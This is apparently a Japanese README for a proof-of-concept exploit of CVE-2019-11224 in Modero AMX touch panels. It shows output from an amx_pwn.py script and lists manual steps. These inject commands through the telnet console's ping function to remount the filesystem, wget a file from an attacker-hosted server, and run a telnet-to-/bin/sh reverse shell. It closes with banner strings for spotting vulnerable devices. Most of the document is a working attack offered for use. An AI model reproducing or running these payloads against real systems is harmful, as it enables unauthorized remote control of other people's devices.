Modero AMX コード実行 (CVE-2019-11224)

このリポジトリには、CVE-2019–11224 (https://link.medium.com/zukA0oCnV8) に関するいくつかの情報源が含まれています。公式の NIST ウェブサイトでリンクが機能しなくなったことに気付いたためです。 Modero AMX デバイスは、基本的に会議室用のタッチパネルデバイスであり、多くの異なる環境で見られ、通常は Telnet が開いています。 Telnet を使用して不完全なコンソールをエミュレートするため、コマンド区切り文字を使用した「ping」機能を通じてコードインジェクションの脆弱性が存在します。

この GitHub リポジトリを作成し、AMX デバイスを調べ始めてから、この脆弱性を利用してリバースシェルを取得するための POC およびエクスプロイトプロセスを作成しました。お役に立てれば幸いです :}

🐢 amx_pwn.py でシェルを取得する

役に立つであろう POC amx_pwn.py を作成しました。以下に出力例を示します。

┌──(cozyfox㉿submarine)-[/CVE-2019-11224]
└─$ python3 amx_pwn.py -t 192.168.0.21 -fs 192.168.0.41 -fn something.jpg -v 1
[!] Your current settings are:
[*] Target: 192.168.0.21
[*] FileServer and Filename URL: http://192.168.0.41/something.jpg
[*] Verbosity: 1
(^_^)7  Continue? (Y/N): y
[*] RUNNING
Telnet(192.168.0.21,23): recv b'\xff\xfb\x01\r\nWelcome to Modero v2.86.50 Copyright (C) AMX '
Telnet(192.168.0.21,23): IAC WILL 1
Telnet(192.168.0.21,23): recv b'LLC 2002-2009\r\n>'
b'\r\nWelcome to Modero v2.86.50 Copyright (C) AMX LLC 2002-2009\r\n>'
Telnet(192.168.0.21,23): send b"ping ;CMD=$'\\x20-o\\x20remount,rw\\x20/'&&mount$CMD\r\n"
Telnet(192.168.0.21,23): recv b'\xff\xfc\x01'
Telnet(192.168.0.21,23): IAC WONT 1
<..cut to remove clutter...>
Telnet(192.168.0.21,23): recv b'\xff\xfc\x01'
Telnet(192.168.0.21,23): IAC WONT 1
taking a snooze
Telnet(192.168.0.21,23): send b"ping ;CMD=$'\\x20http://192.168.0.41/something.jpg'&&wget$CMD\r\n"
taking a snooze
...

手動で実行する手順は以下の通りです:

• ファイルシステムを読み書き可能として再マウントする:
  ping ;CMD=$'\x20-o\x20remount,rw\x20/'&&mount$CMD
  
• デバイスがアクセス可能なファイルをホストする - 内容は以下の通りにしてください:
  注: 2つの netcat リスナーが必要です。1つは入力用、もう1つは出力用です。
  telnet {YOUR_IP} 1332 | /bin/sh | telnet {YOUR_IP} 1333
  
• ファイルをダウンロードする - 注意: これは IP アドレスで、HTTP 経由で提供する必要があります。これらのデバイスは古いです。
  ping ;CMD=$'\x20http://{YOUR_SYSTEM}/{YOUR_FILE}'&&wget$CMD
  
• ファイルを実行し、シェルを取得する:
  ping ;CMD=$'\x20{YOUR_FILE}'&&/bin/sh$CMD

👁️ Modero AMX サービスの識別

次の内容を含む Telnet バナー (通常はポート 23) を確認してください: Welcome to Modero: または Copyright (C) AMX LLC。バージョン 2.87.13 より前のものを探してください。